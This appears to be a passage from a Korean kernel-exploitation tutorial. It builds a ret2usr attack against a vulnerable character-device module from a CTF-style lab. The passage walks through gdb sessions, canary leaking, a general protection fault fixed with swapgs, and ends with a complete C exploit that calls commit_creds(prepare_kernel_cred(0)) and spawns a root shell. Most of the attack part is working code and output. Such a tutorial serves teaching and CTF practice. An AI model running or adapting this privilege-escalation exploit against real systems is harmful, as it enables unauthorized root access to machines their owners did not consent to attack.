[chardev] [ 1282.308593] RSP <ffff88001acdfec0> [ 1282.308595] ---[ end trace 4f146b46d6b496e5 ]--- [ 1282.324111] The chardev_release() function has been called. [ 1352.790654] audit: type=1400 audit(1549616174.548:65): apparmor="STATUS" operation="profile_replace" profile="unconfined" name="/usr/lib/cups/backend/cups-pdf" pid=3150 comm="apparmor_parser" [ 1352.790662] audit: type=1400 audit(1549616174.548:66): apparmor="STATUS" operation="profile_replace" profile="unconfined" name="/usr/sbin/cupsd" pid=3150 comm="apparmor_parser" [ 1352.790893] audit: type=1400 audit(1549616174.548:67): apparmor="STATUS" operation="profile_replace" profile="unconfined" name="/usr/sbin/cupsd" pid=3150 comm="apparmor_parser" lazenca0x0@ubuntu:~/Kernel/Exploit/SS$
Restore the stack pointer & ret2usr
- "general protection fault" 에러에 대한 설명을 진행하기 전에 다음과 같이 스택 포인터의 백업과 ret2usr를 구현하겠습니다.
- IRET 명령어에 필요한 stack layout 형태의 구조체(struct trap_frame tf)를 생성합니다.
- trap_frame 구조체 내에 선언된 변수의 크기를 64bit에 맞게 uint64_t 선언합니다.
어셈블리 코드를 이용하여 stack layout에 필요한 레지스터의 값을 tf 구조체에 저장하는 함수(prepare_tf)를 구현합니다.
RIP 영역에는 shell을 실행하는 함수의 주소를 저장합니다.
- payload 함수에 권한 상승 및 stack pointer를 복구하는 코드를 작성합니다.
- IRET 명령어에 필요한 stack layout 형태의 구조체(struct trap_frame tf)를 생성합니다.
//gcc -masm=intel -static -o test test.c ... void *(*prepare_kernel_cred)(void *) ; int (*commit_creds)(void *) ; struct trap_frame { void *user_rip; // instruction pointer uint64_t user_cs; // code segment uint64_t user_rflags; // CPU flags void *user_rsp; // stack pointer uint64_t user_ss; // stack segment } __attribute__((packed)); struct trap_frame tf; void getShell(void) { execl("/bin/sh", "sh", NULL); } void prepare_tf(void) { asm("mov tf+8, cs;" "pushf; pop tf+16;" "mov tf+24, rsp;" "mov tf+32, ss;" ); tf.user_rip = &getShell ; } void payload(void) { commit_creds(prepare_kernel_cred(0)); asm("mov %%rsp, %0;" "iretq;" : : "r" (&tf)); } ... //Exploit code int k = 8; memset(&rop[0], 0x41, 64); rop[k++] = canary; rop[k++] = 0; rop[k++] = 0; rop[k++] = 0; rop[k++] = (size_t)payload; prepare_tf(); //Overflow write(fd, rop, 8*k++); ...
- 추가된 코드를 이용하여 모듈을 디버깅하기 위해 모듈을 새로 등록하고 주소값을 확인합니다.
- 디버깅할 함수는 chardev_write이며, 주소는 0xffffffffc01a10d0 입니다.
lazenca0x0@ubuntu:~/Kernel/Exploit/SS$ cat /proc/kallsyms |grep chardev ffffffffc01a1000 t chardev_lseek [chardev] ffffffffc01a1090 t chardev_release [chardev] ffffffffc01a10d0 t chardev_write [chardev] ffffffffc01a1160 t chardev_read [chardev] ffffffffc01a12a0 t chardev_init [chardev] ffffffffc01a34a0 b chardev_cdev [chardev] ffffffffc01a3508 b chardev_major [chardev] ffffffffc01a3480 b __key.25747 [chardev] ffffffffc01a3480 b chardev_class [chardev] ffffffffc01a13e0 t chardev_exit [chardev] ffffffffc01a3100 d __this_module [chardev] ffffffffc01a3000 d chardev_fops [chardev] ffffffffc01a13e0 t cleanup_module [chardev] ffffffffc01a12a0 t init_module [chardev] lazenca0x0@ubuntu:~/Kernel/Exploit/SS$
(gdb) c Continuing. ^C Program received signal SIGINT, Interrupt. native_safe_halt () at /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/include/asm/irqflags.h:50 50 /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/include/asm/irqflags.h: No such file or directory. (gdb) b *0xffffffffc01a10d0 Breakpoint 1 at 0xffffffffc01a10d0 (gdb) c Continuing.
- 앞에서 구현한 코드를 빌드하여 실행합니다.
lazenca0x0@ubuntu:~/Kernel/Exploit/SS$ ./test commit_creds address is :0xffffffff8109d760 prepare_kernel_cred address is :0xffffffff8109da40 53 41 57 20 43 54 46 20 63 68 61 6c 6c 65 6e 67 | SAW CTF challeng 65 2e 20 42 65 73 74 20 6f 66 20 6c 75 63 6b 21 | e. Best of luck! 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 24 f6 a7 5f 00 00 00 00 a0 2c 6c 00 00 00 00 00 | $??_?,l canary is :24 f6 a7 5f 00 00 00 00
- 모듈의 디버깅을 위해 다음과 같이 Breakpoint를 설정합니다.
- 0xffffffffc01a1144 : chardev_write() 함수의 ret 명령어 호출전
- 해당 영역에서 유저영역으로 부터 전달 받은 값에 의해 Return address가 변경되어 유저 영역으로 코드의 흐름이 변경된 것을 확인할 수 있습니다.
- 0xffffffffc01a1144 : chardev_write() 함수의 ret 명령어 호출전
- payload(ret2usr)함수의 동작을 디버깅하기 위해 다음과 같이 Breakpoint를 설정합니다.
0x4010c8 : prepare_kernel_cred() 함수가 호출되는지 확인
0x4010cd : commit_creds() 함수가 호출되는지 확인
0x4010cf : tf 구조체의 주소 값이 전달되는지 확인
Breakpoint 1, 0xffffffffc01a10d0 in ?? () (gdb) x/40i $rip => 0xffffffffc01a10d0: nop DWORD PTR [rax+rax*1+0x0] 0xffffffffc01a10d5: push rbp 0xffffffffc01a10d6: mov rdi,0xffffffffc01a2088 0xffffffffc01a10dd: mov rbp,rsp ... 0xffffffffc01a1140: pop rbx 0xffffffffc01a1141: pop r12 0xffffffffc01a1143: pop rbp 0xffffffffc01a1144: ret 0xffffffffc01a1145: call 0xffffffff8107d560 <__stack_chk_fail> 0xffffffffc01a114a: lea rsi,[rbp-0x58] 0xffffffffc01a114e: mov rdi,0xffffffffc01a20f0 0xffffffffc01a1155: call 0xffffffff81180972 <printk> 0xffffffffc01a115a: mov rax,rbx 0xffffffffc01a115d: jmp 0xffffffffc01a112d 0xffffffffc01a115f: nop 0xffffffffc01a1160: nop DWORD PTR [rax+rax*1+0x0] (gdb) b *0xffffffffc01a1144 Breakpoint 2 at 0xffffffffc01a1144 (gdb) c Continuing. Breakpoint 2, 0xffffffffc01a1144 in ?? () (gdb) si 0x00000000004010ac in ?? () (gdb) x/20i $rip => 0x4010ac: push rbp 0x4010ad: mov rbp,rsp 0x4010b0: push rbx 0x4010b1: sub rsp,0x8 0x4010b5: mov rbx,QWORD PTR [rip+0x2c3dec] # 0x6c4ea8 0x4010bc: mov rax,QWORD PTR [rip+0x2c3ded] # 0x6c4eb0 0x4010c3: mov edi,0x0 0x4010c8: call rax 0x4010ca: mov rdi,rax 0x4010cd: call rbx 0x4010cf: mov eax,0x6c4e80 0x4010d4: mov rsp,rax 0x4010d7: iret 0x4010d8: add rsp,0x8 0x4010dc: pop rbx 0x4010dd: pop rbp 0x4010de: ret 0x4010df: push rbp 0x4010e0: mov rbp,rsp 0x4010e3: push rbx (gdb) b *0x4010c8 Breakpoint 3 at 0x4010c8 (gdb) b *0x4010cd Breakpoint 4 at 0x4010cd (gdb) b *0x4010cf Breakpoint 5 at 0x4010cf (gdb) c Continuing.
다음과 같이 ret2usr 코드의 동작을 확인할 수 있습니다.
0x4010c8 영역에서 RAX 레지스터에 prepare_kernel_cred() 함수의 주소가 저장되어 정상적으로 호출됩니다.
0x4010cd 영역에서 RBX 레지스터에 commit_creds() 함수의 주소가 저장되어 정상적으로 호출됩니다.
0x4010cf 영역에서 RAX 레지스터에 tf 구조체의 주소 값이 저장되어 RSP 레지스터의 값이 변경됩니다.
Breakpoint 3, 0x00000000004010c8 in ?? () (gdb) i r rax rax 0xffffffff8109da40 -2130060736 (gdb) c Continuing. Breakpoint 4, 0x00000000004010cd in ?? () (gdb) i r rbx rbx 0xffffffff8109d760 -2130061472 (gdb) c Continuing. Breakpoint 5, 0x00000000004010cf in ?? () (gdb) si 0x00000000004010d4 in ?? () (gdb) i r rax rax 0x6c4e80 7097984 (gdb) x/10gx 0x6c4e80 0x6c4e80: 0x000000000040105e 0x0000000000000033 0x6c4e90: 0x0000000000000202 0x00007ffddf1c6dc0 0x6c4ea0: 0x000000000000002b 0xffffffff8109d760 0x6c4eb0: 0xffffffff8109da40 0x0000000000000000 0x6c4ec0: 0x0000000000000060 0x0000000000000040 (gdb)
- iret 명령어에 의해 레지스터의 값이 변경되지 않고 general_protection() 이 호출됩니다.
- 32bit와 같이 ret2usr를 구현하였으나 Stack point가 복원되지 않고 에러가 발생합니다.
(gdb) si 0x00000000004010d7 in ?? () (gdb) x/i $rip => 0x4010d7: iret (gdb) i r rax 0x6c4e80 7097984 rbx 0xffffffff8109d760 -2130061472 rcx 0xcd 205 rdx 0xce 206 rsi 0x40 64 rdi 0xffff8800357144c0 -131940498717504 rbp 0xffff88002797bec0 0xffff88002797bec0 rsp 0x6c4e80 0x6c4e80 r8 0xffff880032f833f8 -131940540206088 r9 0xffff88003f807c00 -131940329948160 r10 0xffff88001ba7d0c0 -131940931350336 r11 0x0 0 r12 0x4242424242424242 4774451407313060418 r13 0x68 104 r14 0xffff88002797bf20 -131940731076832 r15 0x0 0 rip 0x4010d7 0x4010d7 eflags 0x246 [ PF ZF IF ] cs 0x10 16 ss 0x0 0 ds 0x0 0 es 0x0 0 fs 0x63 99 gs 0x0 0 (gdb) si 0xffffffff817f9030 in general_protection () at /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/entry/entry_64.S:981 981 /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/entry/entry_64.S: No such file or directory. (gdb) i r rax 0x6c4e80 7097984 rbx 0xffffffff8109d760 -2130061472 rcx 0xcd 205 rdx 0xce 206 rsi 0x40 64 rdi 0xffff8800357144c0 -131940498717504 rbp 0xffff88002797bec0 0xffff88002797bec0 rsp 0x6c4e50 0x6c4e50 r8 0xffff880032f833f8 -131940540206088 r9 0xffff88003f807c00 -131940329948160 r10 0xffff88001ba7d0c0 -131940931350336 r11 0x0 0 r12 0x4242424242424242 4774451407313060418 r13 0x68 104 r14 0xffff88002797bf20 -131940731076832 r15 0x0 0 rip 0xffffffff817f9030 0xffffffff817f9030 <general_protection> eflags 0x46 [ PF ZF ] cs 0x10 16 ss 0x0 0 ds 0x0 0 es 0x0 0 fs 0x63 99 gs 0x0 0 (gdb) c Continuing. Program received signal SIGINT, Interrupt. 0x0000000001000200 in ?? () (gdb) c Continuing.
General Protection Fault
- 일반적으로 General Protection Fault는 커널이나 사용자 프로그램에서 실행되는 코드에 의해 발생하며, 액세스 위반에 의해 발생하는 장애입니다.
- 조금더 정확한 에러의 원인을 확인하기 위해 "/arch/x86/entry/entry_64.S" 코드를 살펴 보겠습니다.
- 코드에서는 장애의 원인으로 2가지가 있다고 합니다.
- 첫번째 원인은 DS, ES, FS 또는 GS를 다시 로드하는 중 오류가 발생
- 두번째 원인은 IRET 실행 중 오류
- 코드에서는 장애의 원인으로 2가지가 있다고 합니다.
- 32Bit에서 구현한 ret2usr 코드를 사용했기 때문에 두번째 에러 원인에 해당되지 않는다고 가정할 수 있습니다.
- 즉, 에러의 원인이 DS, ES, FS, GS 레지스터 때문이라고 판단할 수 있습니다.
/* * Hypervisor uses this for application faults while it executes. * We get here for two reasons: * 1. Fault while reloading DS, ES, FS or GS * 2. Fault while executing IRET * Category 1 we do not need to fix up as Xen has already reloaded all segment * registers that could be reloaded and zeroed the others. * Category 2 we fix up by killing the current process. We cannot use the * normal Linux return path in this case because if we use the IRET hypercall * to pop the stack frame we end up in an infinite loop of failsafe callbacks. * We distinguish between categories by comparing each saved segment register * with its current contents: any discrepancy means we in category 1. */ ENTRY(xen_failsafe_callback) movl %ds, %ecx cmpw %cx, 0x10(%rsp) jne 1f movl %es, %ecx cmpw %cx, 0x18(%rsp) jne 1f movl %fs, %ecx cmpw %cx, 0x20(%rsp) jne 1f movl %gs, %ecx cmpw %cx, 0x28(%rsp) jne 1f /* All segments match their saved values => Category 2 (Bad IRET). */ movq (%rsp), %rcx movq 8(%rsp), %r11 addq $0x30, %rsp pushq $0 /* RIP */ pushq %r11 pushq %rcx jmp general_protection 1: /* Segment mismatch => Category 1 (Bad segment). Retry the IRET. */ movq (%rsp), %rcx movq 8(%rsp), %r11 addq $0x30, %rsp pushq $-1 /* orig_ax = -1 => not a system call */ ALLOC_PT_GPREGS_ON_STACK SAVE_C_REGS SAVE_EXTRA_REGS jmp error_exit END(xen_failsafe_callback) apicinterrupt3 HYPERVISOR_CALLBACK_VECTOR \ xen_hvm_callback_vector xen_evtchn_do_upcall #endif /* CONFIG_XEN */ #if IS_ENABLED(CONFIG_HYPERV) apicinterrupt3 HYPERVISOR_CALLBACK_VECTOR \ hyperv_callback_vector hyperv_vector_handler #endif /* CONFIG_HYPERV */ idtentry debug do_debug has_error_code=0 paranoid=1 shift_ist=DEBUG_STACK idtentry int3 do_int3 has_error_code=0 paranoid=1 shift_ist=DEBUG_STACK idtentry stack_segment do_stack_segment has_error_code=1 #ifdef CONFIG_XEN idtentry xen_debug do_debug has_error_code=0 idtentry xen_int3 do_int3 has_error_code=0 idtentry xen_stack_segment do_stack_segment has_error_code=1 #endif idtentry general_protection do_general_protection has_error_code=1 trace_idtentry page_fault do_page_fault has_error_code=1 #ifdef CONFIG_KVM_GUEST idtentry async_page_fault do_async_page_fault has_error_code=1 #endif
General protection fault
SWAPGS
- "General Protection Fault"에러를 해결하기 위해 SWAPGS 명령어를 이용하여 GS레지스터 값 변경이 필요합니다.
- SWAPGS 명령어는 GS.base의 값을 MSR의 KernelGSbase(C0000102H) 값과 교환하는 명령어입니다.
"General Protection Fault"에러를 해결하기 위해 payload()함수에 "swapgs;" 어셈블리코드를 추가합니다.
... void payload(void) { commit_creds(prepare_kernel_cred(0)); asm("swapgs;" "mov %%rsp, %0;" "iretq;" : : "r" (&tf)); } ...
새로 추가된 코드의 동작을 확인하기 위해 새로 모듈을 등록하고 Breakpoint 설정이 필요합니다.
모듈을 등록하고 Breakpoint를 설정하는 내용은 생략하고 바로 payload()함수를 분석하겠습니다.
0x4010d4 영역에서 추가된 "swapgs" 명령어를 확인할 수 있습니다.
0x00000000004010ac in ?? () (gdb) x/20i $rip => 0x4010ac: push rbp 0x4010ad: mov rbp,rsp 0x4010b0: push rbx 0x4010b1: sub rsp,0x8 0x4010b5: mov rbx,QWORD PTR [rip+0x2c3dec] # 0x6c4ea8 0x4010bc: mov rax,QWORD PTR [rip+0x2c3ded] # 0x6c4eb0 0x4010c3: mov edi,0x0 0x4010c8: call rax 0x4010ca: mov rdi,rax 0x4010cd: call rbx 0x4010cf: mov eax,0x6c4e80 0x4010d4: swapgs 0x4010d7: mov rsp,rax 0x4010da: iretq ... (gdb) b *0x4010cf Breakpoint 3 at 0x4010cf (gdb) c Continuing.
"SWAPGS" 명령어가 실행되기 전과 후의 레지스터 값의 변화는 "i r" 명령어로 확인이 어렵습니다.
- 하지만 이전 코드와 달리 iretq 명령어 실행 후 코드의 흐름이 getShell 함수로 이동하는 것을 확인할 수 있습니다.
- 즉, "SWAPGS" 명령어로 인해 "General Protection Fault"에러를 해결하고 정상적으로 ret2usr이 동작하게 됩니다.
Breakpoint 3, 0x00000000004010cf in ?? () (gdb) si 0x00000000004010d4 in ?? () (gdb) i r rax rax 0x6c4e80 7097984 (gdb) i r rax 0x6c4e80 7097984 rbx 0xffffffff8109d760 -2130061472 rcx 0xcd 205 rdx 0xce 206 rsi 0x40 64 rdi 0xffff880008e98dc0 -131941245809216 rbp 0xffff880029fafec0 0xffff880029fafec0 rsp 0xffff880029fafeb0 0xffff880029fafeb0 r8 0xffff880034a2e0f8 -131940512243464 r9 0xffff88003f807c00 -131940329948160 r10 0xffff880023a63560 -131940797237920 r11 0x0 0 r12 0x4242424242424242 4774451407313060418 r13 0x68 104 r14 0xffff880029faff20 -131940691017952 r15 0x0 0 rip 0x4010d4 0x4010d4 eflags 0x246 [ PF ZF IF ] cs 0x10 16 ss 0x18 24 ds 0x0 0 es 0x0 0 fs 0x63 99 gs 0x0 0 (gdb) si 0x00000000004010d7 in ?? () (gdb) i r rax 0x6c4e80 7097984 rbx 0xffffffff8109d760 -2130061472 rcx 0xcd 205 rdx 0xce 206 rsi 0x40 64 rdi 0xffff880008e98dc0 -131941245809216 rbp 0xffff880029fafec0 0xffff880029fafec0 rsp 0xffff880029fafeb0 0xffff880029fafeb0 r8 0xffff880034a2e0f8 -131940512243464 r9 0xffff88003f807c00 -131940329948160 r10 0xffff880023a63560 -131940797237920 r11 0x0 0 r12 0x4242424242424242 4774451407313060418 r13 0x68 104 r14 0xffff880029faff20 -131940691017952 r15 0x0 0 rip 0x4010d7 0x4010d7 eflags 0x246 [ PF ZF IF ] cs 0x10 16 ss 0x18 24 ds 0x0 0 es 0x0 0 fs 0x63 99 gs 0x0 0 (gdb) si 0x00000000004010da in ?? () (gdb) i r rsp rsp 0x6c4e80 0x6c4e80 (gdb) x/i $rip => 0x4010da: iretq (gdb) si 0x000000000040105e in ?? () (gdb) x/10i $rip => 0x40105e: push rbp 0x40105f: mov rbp,rsp 0x401062: mov edx,0x0 0x401067: mov esi,0x494108 0x40106c: mov edi,0x49410b 0x401071: mov eax,0x0 0x401076: call 0x4340f0 0x40107b: pop rbp 0x40107c: ret 0x40107d: push rbp (gdb) c Continuing.
- 다음과 같이 ret2usr를 이용하여 shell을 획득하게 됩니다.
lazenca0x0@ubuntu:~/Kernel/Exploit/SS$ ./r2u commit_creds address is :0xffffffff8109d760 prepare_kernel_cred address is :0xffffffff8109da40 53 41 57 20 43 54 46 20 63 68 61 6c 6c 65 6e 67 | SAW CTF challeng 65 2e 20 42 65 73 74 20 6f 66 20 6c 75 63 6b 21 | e. Best of luck! 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | c3 47 d4 a9 00 00 00 00 a0 2c 6c 00 00 00 00 00 | ?Gԩ?,l # id uid=0(root) gid=0(root) groups=0(root) #
Exploit code
- 다음과 같이 Exploit code를 완성할 수 있습니다.
//gcc -masm=intel -static -o exploit exploit.c #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <stdint.h> #define TEXT_LEN 64 void *(*prepare_kernel_cred)(void *) ; int (*commit_creds)(void *) ; struct trap_frame { void *user_rip; // instruction pointer uint64_t user_cs; // code segment uint64_t user_rflags; // CPU flags void *user_rsp; // stack pointer uint64_t user_ss; // stack segment } __attribute__((packed)); struct trap_frame tf; void getShell(void) { execl("/bin/sh", "sh", NULL); } void prepare_tf(void) { asm("mov tf+8, cs;" "pushf; pop tf+16;" "mov tf+24, rsp;" "mov tf+32, ss;" ); tf.user_rip = &getShell ; } void payload(void) { commit_creds(prepare_kernel_cred(0)); asm("swapgs;" "mov %%rsp, %0;" "iretq;" : : "r" (&tf)); } void *kallsym_getaddr(char *name) { FILE *fp; void *addr; char sym[512]; fp = fopen("/proc/kallsyms", "r"); while (fscanf(fp, "%p %*c %512s\n", &addr, sym) > 0) { if (strcmp(sym, name) == 0) { break; }else{ addr = NULL; } } fclose(fp); return addr; } int main() { static char buf[512]; size_t rop[512] = {0}; char val[8]; int fd,i,j; //Find the address of "commit_creds()" commit_creds = kallsym_getaddr("commit_creds"); if(commit_creds == 0) { printf("failed to get commit_creds address\n"); return 0; } printf("commit_creds address is :%p\n",commit_creds); //Find the address of "commit_creds()" prepare_kernel_cred = kallsym_getaddr("prepare_kernel_cred"); if(prepare_kernel_cred == 0) { printf("failed to get prepare_kernel_cred address\n"); return 0; } printf("prepare_kernel_cred address is :%p\n",prepare_kernel_cred); //leak the canary if ((fd = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); return 0; } lseek(fd, 16, SEEK_CUR); read(fd, buf, TEXT_LEN); for (i = 0; i < 4; i++) { for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff); printf(" | "); for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff); printf("\n"); } memcpy(val, buf+48,8); size_t canary = ((size_t *)val)[0]; printf("[+]canary: %p\n", (void *)canary); int k = 8; memset(&rop[0], 0x41, 64); rop[k++] = canary; rop[k++] = 0x4141414141414141; //AAAAAAAA rop[k++] = 0x4242424242424242; //BBBBBBBB rop[k++] = 0x4343434343434343; //CCCCCCCC rop[k++] = (size_t)payload; prepare_tf(); write(fd, rop, 8*k++); if (close(fd) != 0){ printf("Cannot close.\n"); } return 0; }
References
- https://xz.aliyun.com/t/2054
- https://cturt.github.io/ps4-3.html
- http://sec-redclub.com/archives/636/
- http://vectorlinux.com/news/kernel-exploit
- http://m4x.fun/post/linux-kernel-pwn-abc-1/
- https://github.com/bash-c/pwn_repo/blob/master/QWB2018_core/ret2usr.c
- https://wiki.kldp.org/KoreanDoc/html/EmbeddedKernel-KLDP/app3.basic.html
- https://booksite.elsevier.com/samplechapters/9781597494861/Chapter_3.pdf
- https://elixir.bootlin.com/linux/v4.4/source/arch/x86/entry/entry_64.S#L981
- https://blackperl-security.gitlab.io/blog/2018/05/14/2018-05-14-csaw2010-kernelex/
- https://github.com/ctf-wiki/ctf-wiki/blob/master/docs/pwn/linux/kernel/ret2usr.md